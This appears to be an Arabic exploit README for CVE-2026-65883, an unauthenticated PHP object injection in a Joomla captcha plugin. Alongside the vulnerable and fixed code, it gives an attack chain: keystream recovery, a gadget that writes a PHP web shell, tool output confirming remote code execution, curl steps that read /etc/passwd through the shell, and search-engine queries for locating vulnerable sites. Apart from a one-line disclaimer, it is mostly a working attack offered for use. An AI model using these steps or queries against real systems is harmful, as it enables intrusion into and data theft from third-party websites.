
Aimy Captcha-Less Form Guard مكوّن جوملا: حقن كائنات PHP وتنفيذ برمجيات عن بُعد (RCE). استعادة تدفق المفتاح XOR في clfgd + unserialize(). CVSS 10.0 | CWE-502 | aimy_captcha-less_form_guard < 20.1
حقن كائنات PHP بدون مصادقة في Aimy Captcha-Less Form Guard لـ Joomla. تقوم طريقة onCheckAnswer() بفك ترميز base64 لحقل POST clfgd الذي يتحكم به المهاجم، وتمرّره عبر XOR بمفتاح متكرر، ثم تمرر النتيجة مباشرة إلى unserialize() — .
| الحقل | التفاصيل |
|---|---|
| CVE | CVE-2026-65883 |
| المنتج | Aimy Captcha-Less Form Guard (إضافة Joomla) |
| CVSS 4.0 | 10.0 (حرجة) |
| النوع | CWE-502 — إلغاء تسلسل بيانات غير موثوقة |
| المتأثر | 18.0 — 20.0 |
| تم التصحيح | 20.1 (29 يوليو 2026) |
| الاكتشاف | Valentin Lobstein (Chocapikk) / VulnCheck — 26 يوليو 2026 |
| الحالة | الإصدار |
|---|---|
| قابل للاستغلال | 18.0 — 20.0 |
| تم التصحيح | 20.1 (29 يوليو 2026) |
تمرر طريقة onCheckAnswer() في plg_captcha_aimycaptchalessformguard المدخلات التي يتحكم بها المهاجم مباشرة إلى unserialize():
// onCheckAnswer() — pre-20.1
$cld = false;
if (($clfgd = $input->get('clfgd', '', 'RAW'))) {
$cld = @unserialize(
XorHelper::crypt( base64_decode($clfgd), self::getXorKey() )
);
}
إن "تشفير" XOR هو في الحقيقة شيفرة Vigenère بمفتاح خاص بكل جلسة — بلا مصادقة، مجرد إخفاء للمعلومات.
// XorHelper::crypt() — repeating-key XOR, period 231
static public function crypt($bytes, $key) {
$ekey = str_split(self::getHashedKey($key)); // sha512.sha256.sha1 = 232 hex
$s = str_split(strVal($bytes));
$klen = count($ekey);
for ($i = 0; $i < count($s); $i++) {
$val .= $s[$i] ^ $ekey[$i % ($klen - 1)]; // period 231
}
return $val;
}
يعرض المكوّن الإضافي كلاً من النص المشفَّر والنص الصريح في نفس استجابة HTML:
// onDisplay()
$cld->trap_ids = array($id, $trap_id); // readable from HTML
$cld->mt = time() + 7; // known (server time + 7s)
$html .= '<input name="clfgd" value="'
. base64_encode(XorHelper::crypt(serialize($cld), $key))
. '" />';
بما أن كلاً من trap_ids (القابلة للاستخراج من <span id="..._mark"> وحقل honeypot) والنص المشفَّر موجودان في HTML، فإن إجراء XOR بينهما يستعيد ~94 بايت من تدفق المفاتيح البالغ 231 بايت.
clfgd + trap_ids + التوقيت → استعادة 94 بايت من تدفق المفاتيحFormattedtextLogger مُسلسَل بحيث تقع البايتات البنيوية على مواضع معروفة من تدفق المفاتيحclfgd مُصمم → unserialize() → __destruct() → formatLine() → كتابة قشرة ويب PHP/random.php?c=id → RCE بصلاحيات www-data$ python cve_2026_65883.py -t target.com
Target : target.com
Status : Aimy Captcha-Less Form Guard v20.0
Form : /index.php?option=com_users&view=registration
Keystream : 94 bytes recovered
Shell : a1b2c3d4e5.php
Gadget : 1460 bytes
POST : HTTP 303
Shell URL : https://target.com/a1b2c3d4e5.php
RCE : CONFIRMED!
RCE ACHIEVED!
https://target.com/a1b2c3d4e5.php?c=id
# Step 1 — Get form + recover keystream
curl -sk "https://target.com/index.php?option=com_users&view=registration" \
| grep -oP 'clfgd" value="\K[^"]+' | base64 -d > /tmp/ct.bin
# Step 2 — Build FormattedtextLogger gadget + XOR encrypt
python cve_2026_65883.py -t target.com -c "id"
# Step 3 — Access webshell
curl -sk "https://target.com/a1b2c3d4e5.php?c=cat+/etc/passwd"
# Aimy Captcha hidden field
body="clfgd" && body="Joomla"
# Plugin version disclosure
body="aimycaptchalessformguard"
# Shodan
http.html:"clfgd" http.component:"Joomla"
// 20.0 (vulnerable)
$cld = @unserialize( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );
// 20.1 (fixed)
$cld = @json_decode( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );
لا يمكن لـ json_decode() إنشاء كائنات PHP — وبذلك تنقطع سلسلة أدوات POP.
هذه الأداة مخصصة للاختبارات الأمنية التعليمية والمصرح بها فقط. استخدمها فقط ضد أنظمة تملكها أو لديك إذن صريح لاختبارها.
| المصدر | الرابط |
|---|---|
| مدونة VulnCheck | vulncheck.com/blog/aimy-captcha-less-form-guard-object-injection |
| مركز IONIX للتهديدات | ionix.io/threat-center/cve-2026-65883 |
| سجل CVE | cve.org/CVERecord?id=CVE-2026-65883 |
| NVD | nvd.nist.gov/vuln/detail/CVE-2026-65883 |
غير مرتبط بـ Aimy Extensions أو VulnCheck.